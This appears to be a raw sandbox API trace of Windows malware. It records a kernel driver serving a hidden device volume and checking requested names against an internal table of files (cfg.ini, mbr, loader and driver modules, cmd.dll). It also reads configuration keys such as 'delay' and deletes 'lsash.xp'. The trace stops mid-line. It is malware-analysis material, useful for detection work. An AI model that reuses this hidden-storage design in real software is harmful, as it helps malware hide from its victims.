[0123.055] KeWaitForMutexObject () returned 0x0 [0123.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.055] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.056] IdePortDispatch () returned 0x103 [0123.056] KeWaitForMutexObject () returned 0x0 [0123.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.056] KeLeaveCriticalRegion () [0123.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.056] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.056] KeEnterCriticalRegion () [0123.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.056] KeLeaveCriticalRegion () [0123.056] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.056] KeEnterCriticalRegion () [0123.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.056] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.056] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.056] KeLeaveCriticalRegion () [0123.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.056] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.057] KeEnterCriticalRegion () [0123.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.057] ExFreePoolWithTag (P=0xfffffa8003bbed10, Tag=0x0) [0123.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.057] KeLeaveCriticalRegion () [0123.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.057] ReleaseMutex (hMutex=0xf0) returned 1 [0123.057] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.057] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.057] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.057] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.057] KeEnterCriticalRegion () [0123.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.057] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.057] IdePortDispatch () returned 0x103 [0123.057] KeWaitForMutexObject () returned 0x0 [0123.057] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.057] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.057] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.057] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.057] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.057] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.057] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.057] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.057] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.057] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.057] KeLeaveCriticalRegion () [0123.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.057] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.058] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.058] KeEnterCriticalRegion () [0123.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.058] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.058] IdePortDispatch () returned 0x103 [0123.058] KeWaitForMutexObject () returned 0x0 [0123.058] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.058] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.058] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.058] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.058] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.058] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.058] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.058] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.058] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.058] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.058] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.058] KeLeaveCriticalRegion () [0123.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.058] ReleaseMutex (hMutex=0x100) returned 1 [0123.058] Sleep (dwMilliseconds=0x2bf20) [0123.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c8cd730, dwHighDateTime=0x1d24fa4)) [0123.065] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.065] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.065] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.065] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.065] KeEnterCriticalRegion () [0123.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.065] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.065] IdePortDispatch () returned 0x103 [0123.065] KeWaitForMutexObject () returned 0x0 [0123.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.065] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.065] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.065] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.065] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.065] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9f60 [0123.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.065] KeLeaveCriticalRegion () [0123.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.065] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.065] KeEnterCriticalRegion () [0123.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.065] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.065] KeLeaveCriticalRegion () [0123.065] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.065] KeEnterCriticalRegion () [0123.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.065] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.065] IdePortDispatch () returned 0x103 [0123.066] KeWaitForMutexObject () returned 0x0 [0123.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.066] KeLeaveCriticalRegion () [0123.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.066] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.066] KeEnterCriticalRegion () [0123.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.066] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da3000 [0123.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.066] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.066] IdePortDispatch () returned 0x103 [0123.066] KeWaitForMutexObject () returned 0x0 [0123.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.066] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.066] IdePortDispatch () returned 0x103 [0123.066] KeWaitForMutexObject () returned 0x0 [0123.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.067] KeLeaveCriticalRegion () [0123.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.067] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.067] KeEnterCriticalRegion () [0123.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.067] KeLeaveCriticalRegion () [0123.067] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.067] KeEnterCriticalRegion () [0123.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.067] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.067] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be98d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.067] KeLeaveCriticalRegion () [0123.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.067] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.067] KeEnterCriticalRegion () [0123.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.067] ExFreePoolWithTag (P=0xfffffa8003be9f60, Tag=0x0) [0123.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.067] KeLeaveCriticalRegion () [0123.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.067] ReleaseMutex (hMutex=0xf0) returned 1 [0123.067] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.068] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.068] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.068] KeEnterCriticalRegion () [0123.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.068] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.068] IdePortDispatch () returned 0x103 [0123.068] KeWaitForMutexObject () returned 0x0 [0123.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.068] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.068] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.068] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.068] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.068] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80035e57b0 [0123.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.068] KeLeaveCriticalRegion () [0123.068] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.068] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.068] KeEnterCriticalRegion () [0123.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.068] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.068] KeLeaveCriticalRegion () [0123.068] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.068] KeEnterCriticalRegion () [0123.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.068] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.068] IdePortDispatch () returned 0x103 [0123.069] KeWaitForMutexObject () returned 0x0 [0123.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.069] KeLeaveCriticalRegion () [0123.069] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.069] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.069] KeEnterCriticalRegion () [0123.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.069] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da4000 [0123.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.069] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.069] IdePortDispatch () returned 0x103 [0123.069] KeWaitForMutexObject () returned 0x0 [0123.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.070] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.070] IdePortDispatch () returned 0x103 [0123.070] KeWaitForMutexObject () returned 0x0 [0123.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.070] KeLeaveCriticalRegion () [0123.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.070] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.070] KeEnterCriticalRegion () [0123.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.070] KeLeaveCriticalRegion () [0123.071] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.071] KeEnterCriticalRegion () [0123.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.071] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.071] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.071] KeLeaveCriticalRegion () [0123.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.071] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.071] KeEnterCriticalRegion () [0123.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.071] ExFreePoolWithTag (P=0xfffffa80035e57b0, Tag=0x0) [0123.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.071] KeLeaveCriticalRegion () [0123.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.071] ReleaseMutex (hMutex=0xf0) returned 1 [0123.071] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.071] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.071] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.071] KeEnterCriticalRegion () [0123.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.071] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.071] IdePortDispatch () returned 0x103 [0123.071] KeWaitForMutexObject () returned 0x0 [0123.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.071] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.071] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.071] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.071] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.071] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 